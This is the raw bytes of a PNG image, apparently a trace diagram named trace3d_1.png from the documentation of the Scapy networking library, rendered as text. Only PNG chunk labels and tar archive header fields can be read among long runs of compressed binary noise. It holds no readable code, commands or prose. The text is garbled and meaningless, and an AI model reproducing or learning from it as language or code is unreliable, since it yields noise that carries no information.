s=8aSV@vcdg5VO褪?(4l4b*Yd.¶~t[XXus\ X-ꦉGjP;kLlltQNérXU+ȔmAeZh K?<ԟ{uSWMwk۽$Ij"3-1DQNqA25ScML|9N1OY5@/;1zwۄ_[-7I/8I#IJ $&5Ӛ00<HLjx2$a`(1PNkT`sBAjIi ntPDu膎:oz&: Wm?h>R$D'#sI$7 Og^000P $yu"$a a00P ?{5ayIENDB`scapy-0.23/doc/scapy/graphics/trace3d_1.png000066400000000000000000002657301320561231000205220ustar00rootroot00000000000000PNG  IHDRxY pHYs  ~!tEXtSoftwareGraphicConverter (Intel)wk]IDATx1 Om1 C`1 C`1 C`1 C`1 DrsM DPD{|+ɵG{W"p E"nkn!n`E=j@ὂGR\x H`ٟHdHdHd+$I.wL!SY}뺪,vMÁnF.4M{{{cccuuBDDDDDUQQQWWD/,,,--E"dyy9/.."ʯ_FF~TrsssMMMIIɅ }DDDDDCiif adz"H&xJ( r|jjuggREgRDZX,omm!4^+:N٬QmmmMMMo 7nܘ|hߵ51jxww7JK2 *żsqw8:nxx-o }N:Y͛# JFCH$JM&*y``ӧW^eQsssp~#A"y+yE%nooonnCX,axx[TVUUNbUN \kkkhkgM&ؘZnmmM{DDDD7vCz7JE|ٕ3IdaXzXkQWWwK.O7o{"""":~,K$t,~?F#?~Y'QD -D"̈]]]H>7NdcZFZVT9^k00.,鿲!OqFby[vww뫪 я DzE"7O|;<}yy![[[d+ƛdJF#6 Gwtt`FBቈ|A:P( ww(bTl@m45M{{xۭ[r0-8 b1.G1>ɠ19^g"E(S*ߜtVCIm82\."3<<#{+..|rh\D0x2b?m9ykk+Gp8ϺnqVUըgϞUUUDDDD?"ɄF\ZZB5 rY\KїDB!9.'&&qǽ!1A}EJ+.]A|lF tww#kjjxJ#s٫JA,QD"8eq__ߋ/P9{LѣGtV3eA!dW+G`"Sm(2fEfay&''a+8iUT(ɒ?E~~htiXF5PdCRג5Xr\K.X2w\(HDUQȏ?NBGn:(a%%%gak^/=`mllP%Җ`OOϕ+Wl6$,΋ Rr"}d ,VJʀZT*[2v5/իu`gE 1)oFgD- :W(LՑSd,ȱ.,,20 0̎8r_\\Aaidư.jM#ja`e| v\ݝMMMdNV{ZoËUJv.HFSR&RR5J].IJ:<11=ȱ*NX XGTd2aa& Bkkkޅ=SJ$MMMAl6[uuuQQ^@r"9HDhܭRV,N\@ qO_Fi,Jlid/..R+W`Q |0 0 GtRp2!ddɢz( >&v:h{fo#V3KrVXR٩P4d&#j{˧B7Tr`i" &)++0 0 Y'؀Bϟ?L1K%S yyy099vۭVkYY`FnB]juD"⋿ֱF-9BU.Lvcɸc^7qaT 2¡”BeL WD8:R86-EEEBfa)*8< %ɰFFaEZ622BT`8*G1Kwv E0j2dɕRhR|dqtrkk wNqe@K@yXH$Df^x1770 0 yQQQqΝ~ E^|I%ƞ={S| E}69P}1-3EEEqXEhғ;PQ&ToÒ#*ծKx<`0 A|Eijqckkk c|vw^bXa|faG,:/Ķ;S/7\vLr\..]2:nrcǎ=*b_'EKI%j4IIga3ZV;![drcɥZ@kLapɕ/.///--NMMaT/777Γaa⋪wwPd8?~;Qd5rkoo8qbggXVk]]eлG_+2V,s!Q,@%+dT[2x:7ן800999 KBH$!ҌpSÙ|R.w0 0޽{>BI;މ"֚RdR1e00>#aa E܄"S2\_zkkkpQ{^Xg?r:, q\)x&5&vE8ɹs8aa=1L0`F,^DPduL*EOOd0h+cZIٺV%j0l|&oᶂDRNOzɰ+;ljɏ)~j=~{* ƍCCCBoF0et:^cccuu5SPP 0 0 SVVCPdQ􍈭LCb9 >pе6xhZ ^©SPqxEϟKEQFQƓ|jd`Qͪ,V*+ڣz} ͵W*3$ɒc݅אWL&SqPPBn;/G?"{{',[V+]\Zmnn.~-y;Weaa邲ׇByҥɕ.;QI;::DبuX8>|0.X f,&6xO:O "ȹusǎ۶mKHH\b,f* K斩PlFˌRaL6}/c*$[==c JÇo߾=}E aaPVV;88B*Z|[P=Es'|4Z!䤥%&&FEELy{#91Y1:+Wp壄0{|_GJ-m(((l"l6~1eM^_94dTgV;bs^XH4blrF>Bni?$n!ʳ,3 0 |α(bu,ʱR!V˶6ǨB18y]3~zWW.W,Rhpz\>-򖖖ÇKYu".<<\V~ 2YFӦ7t{ܦh>6xz8bP EF?՚Jա>L-Y0kda܂XUUt1WTge㾾>W!KB&mz315"&&yܹK.Ir"zEJ!EEoooGGGcc#^yիWra-NkXExńy ,K 8mPزz~~r9FJÒaa>hZ4]MDC =>BD7sЏyż 6DDDoj2%K jPsb(JqRȈZSe닽x!6mǎ[l>łir`b8H9qxpm:m٠JK @&@g]W gS3 0 <&d0B~$8555)))666<<<00Pf)/S$|ٳè((_')-yR-Zd\:u / WgeeYu9\_Q-+hsަp1[ ]}~bK/j78"K3sx 0 0[T*UFFnm$a ~,ԡaaaM 4^˥桖744{UQ?FF3!d׮]6NRd^ ͖:'Kruw? A?޽bk!M2?s"<nJǿD{kjW. >ڷW_ ivYp aax V;׷,^\SXP~OYQ,S.?E/NZ8hH] 0 0/ EdGx@c^b^iryV^_Wt|%1Or,($LJL&tК3gΈ! gQ,3OHӧKKKŘt=.㲽pi> y'>.H?P_:x"M To/9VaafX0p J&'gQ./Y/3!aM`S..5F{U憖lx1jqFfB,jq1jqhhmhalnXM{ho+ ]c|R;~ VQQ!ܹ3%%EĽM?9M1q7v~$1T*Ǣ{+Oh1IIm[ aac ([7H4_D<@|,OtKpq)Q[ђi.2K|5(jƢh|d!!f@fd4Ն׷vww +_#X?C%"Ȣ rV5..bL@DxɄ~ { IIhkŽGq?xB?Pߑ~B!E&@ѐ{徝hBv4͘aaf6l%}^R~ꂽKq o+P;`4QI=..C__ϸ d5jw40e:ޔTrɒ}QQ/_f,+ѣuuu%%%bvJJh0rBVMyޮkc8((muBR~֭%ɥԊvq?ķ_lXl;~K|L' yTTW$FfeQ@1d(  b4" "QҠ8,v6NѨh:Qvg0vӉ~x}޹"vbEZ}ǿ MFy h\g᝽>{ oU)7LɄa@c2W17\)74`\ nnSꦦ&ċ/~WJKK %׷utt%LX01aeꬠ]]],YB~1]DŽ&E> $Xie&Ğ2 IAbn5`)S椤Ԥ2222GU-DDo%ooe'ȿ[c&'PBB-en8z$rŖ2W'+x\fl+%A%J4% djg4F9ʟ{.88@mkkk{{{ggH+++ɏ,X@@ҥK/_&pL~EdSqqqqNN^OLL ˧ocN AZX&e>&}1qzzԩCؒ +kav"]Kjceu k#|"#W+ uK/x9`.]ߎ2@[#%XH?AVȘRdqd\<9Bk vtt}W׬Ynݺ7Yf477v@3/Lokk#a޼yUUU Ņdel6ϰyJNǵxc#ڲ.[B^O\NExwc{bcKfOǴ~!%.Xg<1\\\\\\\\?{FT»Ӳg̾)2*0p WQvmeq#c%OGIr,ĄJjii!|ٹj*ҝy۶m%;{l¾,X@xJ~Iัz}BBBDDD@@Jn/*[Aؕ؂,- wvuu41yqvԹ%!vv^Çqq/a<)(MT%+h8pAa ד -` zM{ vCm_]{nGAt^;ЭB F=}b0)ƏssKvp*FD.)βL63>nذ.Ǜ6m;lWTT4w#LSSSC`tee%jia ]\,[m/6mfT$a Qh0>NKJ*hM5\18emD+˧aGV<9EF¼t)\?c$i֔ xDA !c\@ޫ˙XoW;?%p`؊NH."F}6ꪶ5l¢ElP(唒'MLe˖uwwK={ »z*)))..&L(??n>>>K1Ir]fpulmG8a؄&=fX,ݜGxTUrrybbV[1544#LLᛋpAHz]ٌ:<2󚌴{q ,p cϢo҂#{|(Mf=m=<..Arg: a2,-VF./ɲ--Gt6l LXl'&i[Θ1#7AJHHHNN&(<"u:bFR ELs;q9ap/ҎU[7`V( 3R8a8 i9yx$G(yfBBIllZnPl2Q?y4)Q<b lV[Xovi!S& zgy%z)" DރB2 띏zϯϯ#!AN%ܼMkФR$o߾k׮{,޿BRJ޲eT''ssoHHHpppPPbooo;R]r9޿r-IhvG TbFg l[yp11܋x _fEEJ )\\\\\\@mGnk'pYd.|8UI̟:Moi;_o%-ED>'Ab&Cf/M0 od6Q& &nT*66FK$33Bɳ Ȅ :t0DXy߾}wM'%S&Ad:{{B񂣣'(~*!cxM$fkxx!v ^3a؄lip?^yo@Y3J:'2ҠRy \\\\\\\?yvu#N7a27Z DžN!M+8V/ :נ@ ǏE70Bltܠw^dRL(Y./δL5715Ih01#G+uSnBYAmog7I.knwiY͈66]bmS΢똧-@RrĐ]6n pp-n9dJ☘lefxpqqqqqq=Z>TNyL @BaR"6qJ~`d PDW~FS@ i\iK[wN+̬^ \ J%ǚ&*ˀˍxl`;qFsYnjNɬ a-׷oҶR?!uWЍ8jGoվ v-DNHJG(9_ >ġe̓ }2m}LN&DhuWvecE sJ~0ż o D~Ud)""/B;iDa&&r\>S&˳J37ך:: }8L(02!b VVτH%K,߰zwľkڹc{!f]cش_̏(pJ|eMh%>=$<1PrFpns8+ o1 A4a-묩*]4ctcdK|*x-0|S!@lTCJ (U$ %3Jfn#5g[^=1cB O _ơEr-k|Z5[Y!*C@:+g(*CB<#UJ.d9+`z{&5TKUHN%g++bL/!L+Ot?~ꃪ/MRh_k8Jo9);nƌe1 A9LP455e{{m#G+2Yi0{9Ԉ;z66=]V 5;Rp];_evoah!GK8)Srr|G:Z9 % |dE?sqqqqqq=ya : 5B!fnvW{xrDR\A8>i\ v,Oet`\WާMRC 9 2E i.\@Ճ̈ 9e񐷠vɒ%#F[YQJj$L>FF[A|OvidM1%T?"I<;QE^Ŋ/!F#S)i\ROIӌrwوJ䢘jH ѹ~bH d!vϧyO\Ci |XډBrCV>'$;O6 C"~ Mj=33A:_z"( 8::kaoUpUWW/\'YqOA퟊dY+VV,^ÞT,2]+߬ V ҢݢxO1"<&AJTb3숈Py) f(,{U MfSE}Lm*F ||vd; 2$oЦ'Q vE7Z :gc Qj#.'=7 3g3&룭 ̰0i+7`׵)R D\6PVś7%v є|`wG_o(W@.ņ,la P&N+Ћٗ2V7Fg?S]2OMZnZ>A3F-؃]ͼ"CzURR 8/z9e hD92@&sHgH=@[BZHYi{1MoO[< LƢ *UF.q̉&M3]l;8!݂PrG tu`3v 1fu,-%g5 ^в巒]n}YF}3PMa?=7:wcXӤ;Ɠm1olu1P]nu,ix>fZ#к= |O3 Чd|ҁՃze2aty9^g@WVŪ==*%%>TPFQ)Ztw,B,\ŊC#JSvS;879 iy/L?9>@a:` }HH9Zѣ 8.....'A :xcBZ$9~㳛 F ْ6NZPl[VH{fs(S?-*_eTi@a存tMO/NPڃ#ϚGjeݬyr !G k<*ſymžn $ԤT%'JJ_+=c$x&| EAEw]Rv7F.@sqqqqqq=vN_h'3xMY XblQ_r WXc`ۧhSۣmDV]]{Zb}~BJ^d>)$;/ix`lE-y%(zԉ)`)cIL|& d)'5kq'r~YYI{3m{T0~='wenL[%_c? ~L6V2-;6b~K 3#UZlHj522Փ'YDF&fM"sА'&iEM^TUH?t\IIVzF>ҨKQ-YŒ,˒e˶6 . 1r …$\޻++o~U\H={RF33|8}/?K.+Wlϱ+4~SuM6j,hDz~Kd`OEא 6Q}ֈpVp' %Yp?$ /rfGg k-WQކH#;ں (W+7x̩ )uand2k8Rɗrx|tSB\¡>ȶtx$3mC^JF/3v6T!%uhcIʫ\+bcK=.]fcc+tz܊e0]*74QNH((w^ \r%\r5s䏷&H,^0#QrR` Rl&RrK _0A"2Dg I\qR6{{.iZQfոRvaa^6ppNNNyyyZVdffۗ Ğ8*>.a0i\wBKDZ3^0o"<Fp>vNB"q1]n"L N qd]g'ݽ8:5#c|SYYY-A\WamXXM㭉ss3+ } wr%\r%aG%gD0mF-jV hQQv>""Zo Y}kFC&-v_x9`I)c:iq {Ǒv!>X܌TzW% {I RSS/_^SSSUUU^^^TTQ9Iݸ'fF U{=B^W Hf/x/H 2%C5N*LxGT:Gӝ󂳲OS;f XZf7vkKK {5M+kqm_)5jg!߮[oml,xV̹'>K.6 `#I[R;H#Џɾ@@d_!,DGOGxA[',"i!1@4Er-go|_v&t#+|`]Ⱦ*$<F25n'wS*===]]]mmm---@3C 3>:cYFg[rU!~Z}M߽P;;ĚEN*KBDY82DdZ ^OV&๠WYY,Oq^ *mm3Vo())/.)Vji4&*$Y.-{ q3.##CՖBpfa.T[[[]]]YY ӡ|K.0!4c% ++Pey%dߍUIo_H|R`=;'!2,o٧r>b7`Z6B@xFCt yМwI-YJYØd8 p8~ngncaJH4.00hx```xxxӦM###sÆ CCC@}}}֭[f r]]]iB5; fcm{je[PzHŶ5K% ^0mC;  :8%%ժTu))+SSSS[!wq ;|5"S{=N9JQ}XRrǧ2W"ΟoPDv.ZEE}m Ve`ˆƍ[%פ Z&Epr \pW^ jll$tn333g͚yK.K{` mr0tviFFol Sdً!g*G^ ̼4u{7,vB#8FþAu"<9);q`prސŢMoH}bd$'׳BN"' N ޲e˶mv9::{nx}vxpXYv-S:bl,%IȞ:DUF;Fp6 WS\GK&S_sPXXnHMmJK[њٖ:;rFӅ*gtwIw-J'ѢZ<8gXOrRғeS."Z\U*#"nTZ:TTԏ,Fde}[\\ittadd4H:Ľׯy4hs D-G%\r߬2& vC$AAe?B}k|>/IxBz:':$<2/g~Bg"KJ;{URQFj'DF~:8% v;U? +p#2M!O 0/ Mi#mp?@H[n&2޷oSXn$,NOo2j^X۩Ѭj{ނ~8ۂ3࿳Yٵ3!DDs迱#):$1Q㿎8@2Dr]^7p =A 5w uuuWu[ ̅$\&VPJnhh*,,LOOOLL uuu#K.KK %| IhKN6/Y ~uY( wּb9t)3O<9e2|2S4x1\DktHS&^C8w[q() os Nr""V>|G=v؉'?~e۷B<5+ff{̒]=ҳ=5^PP896t7=c ^RB}U'  qQ`QPqҍ^Zc{ac|+TOĿI c W98y\溉uXQWmIO.)P\LܕKY$ʬWЉBvuuy]v\hϞ=p;v1+ ([W\YYYYPPPL;O.K.~\BFnSlPy;9Bi-M@45s|1!"sͳVpP\$!2Ťu%Odqwqt*fnO&DΘ`þ%簓<ۢѨ^L؅w{k+\fO54e6NT؍~>S+x3=/JRbHq}1@Ə?OfY\5>$ɵ>p5Pla(P7_aod4‘9|3.l!& n x,;A[+RjPAiބgCK#Ϝ9sӧO179%921YBKSR2ekƛ:Y/Aszuff&:P2A@ܛWXH@T6m""}|TVVnffY̛g #oQ>+ơz?nw[:òõ81:9>=x/Yh8T߂ڐZ&6v-57<׷46=+HPLq$:VVjPQT.IM81Dc='N&E{ٵk2)щHqb*Y%\rX^7-^EZ}sz{L:Td_?'E?o:"D6'YųA['޷Y|LqJGX dr1ǡ r;#8Ru~R]x#yc)<-|H)RrY"aJT6IqA O (r, 1"Zd<'YBsH EIϝ;|)d%h4-&&](DdaQfvS^:DNpY{&H ?+?G0:>~u0v FՄI5QV9%eeTT5}֬%T<1"R,',T2LsZΆ'kI-##bcݒ\mM̘0UUPZ\vWm^ӫn)/7Y,u,Yn./_~Ν;  ¯&Tj#ªEDODÈtWp[} |/֊qt&^eX#`n?[-{<ې>0OB\$^VqYޞE1[Kv%0|g-AN؎jnFϰ;7|l3=xh)EڏEnq QX-f?~I ܃G8_jH3]^IMAǏ@D'rj%7oT=cl!B* 첧rw/pP2a0zviٰ9< mٞyyrrUhąaaj750Uaii2&4 )f̙J 9Ĕ|/7^T*y&1Q3ro8̘biZ,;Dз:@P{©&YXZ&4.oB2et涔 mٲe׮]HXL@|'D;w&EtaR$dxxLѨT0\r%\pC}>sLodD-9m %KxRr= vSP,K7|-d)cbDTξk!siܽc1 vIs&Ν 6k̙?눹WD ry{ՠ%FxW S͞`|qVGШF8"Kv=l{ncCC k\A{\#UI)b.OUvS^3SkLsO#Dava~n(91$?9/#-)ndL:,_/OaJUWf8VM L`i cXPVT얬\4m<46 __\L}7nܱc`. O<,11y,]x&Ecz[vmSSSeee~~Z270r%\r݇Rjʎaݸqc̖Pc~. l3Mbd叄TQmFF.FFyd&iU!&!WCϞ\ɞ3lL߾'_ o  )@nV#ݪ) Gɪ[Ւ䂼M86y\>cgJV>C}9u'ghxG i~T#x׏c!|ׂ4Hux,b!Oh_Џ |ñ|'1 I--% 14|u[M&&P(R\SB룅'AKlWd{z.YP9JZ ..s;k{Ze6|E ./ĥ (yeJ[TNElXpPQQ.@̗-doq++.-rr4qNoܺu={Le˖b#r%\?S|}2(m3:7Nm 2f) rՎ@2V ggDKys Dɗ8wG[0wd!g7zbu, e>J#sm!uC+e38Dƕ2wJ5+`LF@RlmZ!惖őy!B?}u!ƝbSt2#(X{H&#C L-񞠊ɢ ɎzR=: >"7*"'YY.46 Ua44 HZLvmMU?(e; TSj *>$:Z~g΁ցp\qNq))J)73%։Ή0(, XopQS y߾}ޅSI ( | d|ʕX< <(YZ9{{{%ݿJK.iOA;q˰lXS"MƸwED ~Gp˱ÀWٗ"Q٘sڵk@ɀЄȴLBSk֬ill"9r``E]a)\r%ߢDSXuKwE+nuOclv#["] j%$B/5KE\_kYɑEukHlޜ!SN/c @i|0o4Ɣ ~[(q ^ ]Na-r&o?㯄!TK"iAFQb+P6F<(.R4*gy-c ɫ8fKjjN>V(*-JuO%D̊u00=ʭ(]`kNkpQ̽l11\RYY3P`gԺ43gN-X9'D;D+-%8a#S_ |kg}uvv9'QB .<<D&EĈT[[rWr%\r@u;` }#ri< ;(,WQ€? KEuD>ƫK KZIb!y;]c9ΟI q5F `0S?E3ґb(}A/y" AnsF x,9 bӒY?)># 댍LM7XXt&$ye, ; q=.6f`zZjVS|GZ_Q]X]2+6xv0+H+I\d\7>iYηi-RuQS\ADttx{Ȼw,.O?a.$ҷc|8h4!Z_2."Kq'$5i{ 6a=gWD(a爾$[832"`ϴZ^kg>_~rN"ÜkM \lqózc/|"l.,b)zW̔w\LyԍҊ= xdGJ^7́#OsOYR@E8NtaIhqHkс"u`FrYfxddzf,UsiP9 ]54]0"NLqKQ[G91M[\_-2iҸ Ӏyzd .\FQMF)/]0N`޿?1ElݺvUV-]ZZ6$$kXRJ)#맅g. T]$݂H1L8o.DsFoYk!k ߘ aqR,|Iį_җӤ&vahA H~㖁@@`tdd?+?OsO.wݞ !,ǣ V1I9osxg,&rVjB;gG8+]%pV@}q;i9ŕADf``]bX<-nZD``a` L{7zrխ^zݺu[lٽ{:tʄˤ| ӽꂂ77 ?aRJ)ZVU"NcDFHn#%S^cQF+/$/Q* |sy6ulOYW֏Qx%h5LP`GQ*^λJׄHm7~VwHk|ZAD( &9YJML'{Sla-;jɂ Yα88/%}WΉeZ7-j]xuw o?CN𪫑)q)"+ #R|viiaa^[τ\z8̥ =Z8WEg̡O1:TcW8:'c6dsݞ> . ʀ`}KJ)Q|hkJڦnݝ;wݻX(+W$ >*))KII 'RJ)q -u4ʈ.$33 FlGFXh*ϡB5RDso*(8c !,R۠SRBp\.gRtHIY53k|l";.ƏWc5)V)va<3%E&(G@Q]zt!K]y1dgK>f/|joP( ߇(/=&Ltéٷå{'$FGڄ[:tzMf: S,^`ڇ[h֯w`缄k-\.XBaiϣ6@P쐴,Nlf|- (9-J~ ʈEE' $J9s. <,",% ݮZIMHFlF^|CcN x J&<Z ߬R/tYYYpJRJ)RuN;a{Q߆7IdǖO5Xa;0/IrGЀxm1V$uk+!2B 2RL}wKhQ'u9vIL I K0z3Iw]g&Y|D>>/il$?upDîg&]_SxL+,Яh<-~'q9)ěrzɍl?噘q (ʁ#xE8_59UOA`DHb/5c(MbcK"#In2!-ڃHSlKb@NwXnVUUUTT,\PFEE .]}ڵEgggްjժ2䰰0}J)RJW$!`rD+ Y* NZ&D~Kɽ;6ߏ_×R^خ$/ 18Npu /Y-=v?Rja^$KrI[fHf6a3v/d'In1 "ǛHiTE-= _)e7Zu4~~c4u<ֻ9|bg<=xEpoͥLGU!|Mb[r[7%=ƽd?pw6"?'pp2dE3=?(#K-| "#},}4ھvnON 1yClBa2jn>oڼ˗+}}TMɖ񅅅pͭ-X𺩩i5qccʕ+7KNsFF켩$~E5I !3A0?3=y6 lG[d~#%Gw Cs|x*"q.\n4uQD*ccź=oͳ|677]l_мHxLʚ5kCԣ`#zvbbbvvviii VTX[Wyxx|{)RJ)SgQF/R J~)n-R^%_@D^"'cCd /2B9 {xOCzym?.E[b>KJd\^|2WsCJ^"9|["(-eȈ "Oۥؔ8vg{D{ok~A!kYt ]Vyh;Ĕ|U?Ԏ="t#~V~$MNt^75Cid-a*^ȦuIqMpL^4qy]>`C e%k<G~ I,EFfdd IqVV@dZZ*** P  uJ888800@Jߵk׶$77@yNNN?Xf \NJ ~į8+RJ)u>h4&qigUV,\b˒W()a48۱ %w1҉pߑbᮡO'Y{'D1"'n#yXja&=s?Dkx YgT<(|/A3&L"x@sx&*<:DbݬD}w]rCW~v :zq O~ǥ?kyڳ[g$(ۨ=??ue/{XaGнk/G7O*bhԋĩ2 R\%Yn[ȡ?766ζIrJe˖4:/ZZ6:::$$۷k׮m۶ uuu]vRUUMMMWJ)RJ[rRC$g_YmH.dB, |EJk[W$ݑY<^5[ Ճa(^=e܍e ˑBt'q^1cxgHYz/HnQ 6H!E"&zLZdAؔ  <~1=kqV'$%6ϳǒӈpqJN|os !c8帗oz fSH1W/J  ׯ뮮.Kb\nhh梢"d#J;]X̾Ų^Lf>c/e8Oh>׺GHoïtᶂHP q"O[G/u>#wb"GIקr$D] d:&bܫ6^L簱}ܰE%Az lSbKvjz^9q&}-1#Y]/+R#lA. L%Pl{I8&LqG7kWDnZML\U8e 3#ٜo4C};T9nӟ |:>^ǾӦ]u&#~ń)!Ηď/X҅ɛCDˆ,FGO3"SU njaR7LRx``xΝ{wBTvMj!!!ǎ#J޷oȝSl%RJ)#-:v3+o4 Ʈ3eZ7r:9Mx]K h%\2_e }lB/H im3D H>TރҎ@FbD%2%ydfvTgFOicߖΧ8cDmqaa@ɩKcc+k]]Cmm}&Mgo+#:&=̿<\ d=X&ٚN2&>NH)pi,y {/YV kЍ_ RE8Dq553D_1"dDREbܭ4 CCj4nVVsf9nܸuĀŀȑ#F`~uֵ,_|:.++V:88{S䠠s1@[)RJ)[rZ{sq6jP|'!rFmu"jF$. {$URt"x"{e]Q|I`M ?6Xkq΅>Iye2bkaJ.3I5SZY!Do}i0 pBƼId@1ѧ!^'A]֐PQG88 p7~;?6V9y[zϙ2T-&pCVV-Zo^SȔV x"?ndWĈ"&ۦodD+ -E<)ڂ_)z|Ҩ(򢈈pL&4 gjuGGGWW +b`bO HZxdp4///555...00X݀ȫWZ VyXecif̊2RcW%e}yAT@DQDq˱̵\p)-MŜlK+sie=Exdyw_y饗^z: I1r'9iX163LcC0H"r(,!sZD^[s@]2yN@g};=C3xbGPf/EsҘ؈erA׸{|n߱b*?sD%l:!蒾WyxKh$<@"Iv% vD&$, Eĉ&A>z5UaAm3 _`qdY,C,Ͻ* DV(^hvtuk浟%D>ňE.şgb|#hETpU~f3"íYF{QB r7y,' f=Qk9U_Ud*"K[r+1G܀Og%Ik wE@"iFd2ha`-9 ]-'XY;:)T ,'6ێ_:vb6T%$/[3?&D܆y4L4 h.tܼqFݻwj?Q2Q/Y-V^l2r;MOOOHH:uKVV +++KKK 333M`0{}gK/b^_VϺɿdYCZXntg(L&mr_FQ\ᜅNy"4G5#ZZOTp^%/"缴:)Ap /pL8 !WIŻ.ӡzz|SYu01!: n rm=/8iWe+'qԕoLR(2xh_2qwrv cE!BR )3f2zA >J%Gڽ[xF]󪀲BxXO*>-uEdAeV^{#q^G9N̗;،\S$z/=^h 2n5F 0b4/t? eqqe~ĔFG n<7"B|e͂bw) '||6A@ತdr;VRk'w̙ZȩSLqppѝK/K0/pES,MVŔdF Y(@CV_(!-$"Yy␐d;ńά6Zh[iA*{v;㦵yýǏ1||*4577 lmȂ" 2>|(Y|SD^l@䲲씔77cǪŒK ={vfffbbd2G,K/ҫ7?2e6cz5hFdZLv:?FE)"YU+B\nݙMU󶌷vˡξc+ U??ȳnRqIK#hD`b|m45iOjplˮep`((EF)ZH۞88i0|%52pzh=TD#7iHU;ʗӴ;84d;`-{ӿ`H!G}t۶m|!Ϡ)"ס$NKKKHH koo/ZZZWVVΛ7Otzz @gK/ҫv yJJvlȘ5|on]y:g\S>>`D>ˈLx`E3irN3ce~uwn?E%NuPjo^ds#E{0%£ DV--'цܠǯ5k=kY*[wE+<_?~#G} &w( 9"!.ݦ#ݬhi4'.*]OyB'n!OrCVכ, "y`!U^x|cmLbB/ uڍRc#d:7NCܸ33'& pqm=O+"RES4 ZV3 E;Z+<>>$$]K/]* _j[l'8-@$d&@E]_yl~[RTeJ3F+C "j\>#Xt~A BEC1K(Fx?w/iW,ӽ:6\=k3kBԳk|AV'CRe)\@JG oe5ϽYwzl `v7:z7h8ph{8N.MOgؤ IþpXTXdh#1Ӳ.ހG)=/hG){":wAR,>uuu+++"fgg%''֒Eiii~~>qttd8p`B/K/SЅQԌ&T!{YMՎIs;k@RIߌmbn>+WuE3ru(Od7ͼZ_. >VAq2< }GI|w>\C3.*[(J:mR x.#]qņρz?P=p(n#FZg T=uo Mu:ǵW0i77iȒHNi g1-fÁVL{1x/u}`q`G+ !5H)nb\r͚5\TG SD.))={vFFy{{;99مܹsf樨(zX/K_^|9/$F{e{ *++WXn:2}t=U>zdR!|pedd8qbIIIqqqQQѬYRRRbcc?K/c "D&9mDFuwl8miRa39܎GjY ACF wCMn!\wqd7NgtZFdXte,ŽWܠ]X.E W|3ʕ|ԢzG>iv7pf6 v]#fys BsBꨥ\ҼͽdIQ:GKHvJnJaxѓ`oVmJldu=g]77 VWW766nڴIPL|L?~G΢^BYYhoʔ)y@8~|O,8K/ҫu/TD`ckYhax0K9pWފ#QsIޚ ЉDt +j@W[Vȴ% {Wqrvd?EBop;#mxċcMH&{9D* +5ˌko;g7eZG6%8ux{eDψoYOyXF#xpW y:~W 'L4̼CYlGjpޣML|ןіN߈grb5*k=We0͛'(FPƍ>c)XxDzL!S4yd666 z饗^z"J= Yp6 z?HSxmrCk{Sk/+\J3[fV$Ua-pT4VmF@ |"og:M'<_bP~ γY%IcWbo6[߹V`4״hG|^cŝ!I-"7sHa~79LajPYs K4"+#>+@3"""000mRZ{f00? % ,wÆ  o۶dL!׭[f͚:dzgϞ9sfjj8xsrK/#W^~"$`v3~Ӓt2 Z0]-7 $$d*[>KlkTc܊ԴC/(pp? 2-aLǣsrl8SNrOB+nn9ۻ׍>tkق &{~෿9d(,`Y@rg?"_0gyEҳm, yoa37/uzrz({aw4ӧOOJJ,h4s=}uT&L/++Ҳ~zQ[nvZ=V.//7ocqh8K/ҫ7uRҡl|, #cG%/ ID(5CӶ*Fv'A6Ջ Q&V{8%/`<> xtƿb3#-jW@hp m>E1 mR:>d^^$T p!W"o0b$1S-;=w`_i! w[|TxNȇMZrr}o֬Y%%%qxx;&5gΜ"{}p``KӧCAAe˖\rՍ VnEQ<+Vo#7 ->>>,,lԩ}{xz饗^z*Pd,S}!QpZ,h1k/ o踟Q*#9ʨ;䇯Ǫ4"YeiiiEEŤaNs<6m[lp ϟ_\\,XYrvv6ՑM C?w\q<5444'ŗ.]xbeeeM>=..N`뮻K/ҫeV+ d&)%9%Vkз T;u=X3#M#N1Ot,N]r0nqxM6hMzAdA!yO++7;b[WY@9=Y↫5g+e[χM=5FOa/ArI0qcCv:z$. eTgǝڍLIZzF^bErwD27FM(oV"08ruu7o^yyyUUtf'fIV[[+>S]]-TYYYVV&@0'''==d |-::K, XKcqt`yyy0yd;;=$K/zC imE+,Bos@4E%UuD:.t0Ջo2{m6|s7 /%FȗŽKȤa_6'Rutb+& #qhm"wwPb!{t8U|γ XZ=ːʩXQҴ!\WRyREZY }FW`|]L ޼JKK.\(@Sh]]]}}=׮]Ҳf͚&I񥚚ђl9 ԷXqw8ٷ8%dCoF'M57dkWԩ/CFn m|5'|{ 3?+CA>ZA X;7T0@ڇNJ 2i$vBlmӹyŁF|Y~&O\ 6^D"SdB=,///jЮ\RuֵnܸqӦM[PcWZ|򪪪 YYY!(YPc 4.<<\̕H2wӇyTY2^keSL4!EEDPT&A 0,-K7̺6fӽ>w8rϣZZZZMj@J[X\PrvsQ:l6"Syxxh0 MP5}#6{/^a&45oeBaJA \2&Lο0ޞDvڕ__R{}k$Vp.5 (coN 9ַ9%S4| z3tx Ӡ|H\10"wp{ݾ}g6#Innl,BZ\2[ŢEh37 ,.,,X\\\\RRR Qwofdd8wӧƸ///ʸh+++Kйo)ZZZZZZ`UL+{?✇79gWg3orE2;!߭cc5p65aQ`IrC\kiq@DWn; +WFSAp/|isL藹(Ge\'"+ׇȓ-Hاs.]/,{C9iJt `h^.LMg'60 3FmAy~p{~n/_aÆ2ھ}i&JXTpBg___U6Ν;wg/k 4fY`wzsv lH<1OulhX   n$\Nk|4f.=PU%NS'^Q''xTYPL'0e;E,3Ԟ6caG4c>*Rd.s]{kJ\~D2mlf~찱dž }1ԳC4.i||[Q PR^:Pl;홁3͋-n㎡\ثȴS0&yx ,1Q)))zS}sg!DPmۨNP霜5k,[LٳCCCnmm^ -----߷6"hKI;k9{(f2XrA ˂݀l(oׂ̳@9 MdW`K!"~`uAye~D~M.XFXCD^/eC Zw]ѳ8Ÿӗ#PbƏ<3"*[pC2mek>.r2qOgU7]13d_*cc8Ua1'nI($p)(iuŊVw6)z\bzҥKnܸQ/;Ϊܵkx"TPrQQі-[#77WEN:~x*ӕZZZZZZE}IǑ;th׮GCP$r.e!u7}^_;wc`O^7d- J'twBcw:lasF^9$dXlJ1S! h|>5x6o6Á\Cpun)|ǰ$wpըd*N;c4=QF؆D9D[;ͱo-B]WZl(솧qX9D|CrL, pA_>_oy##\|Gy)))xu====//@`AƻݻwWA9>_+,,ϫW<}'rZZZZZZ&h#HE 9Sqۻm;UO<2 !@/]끵 ܱ߈:y 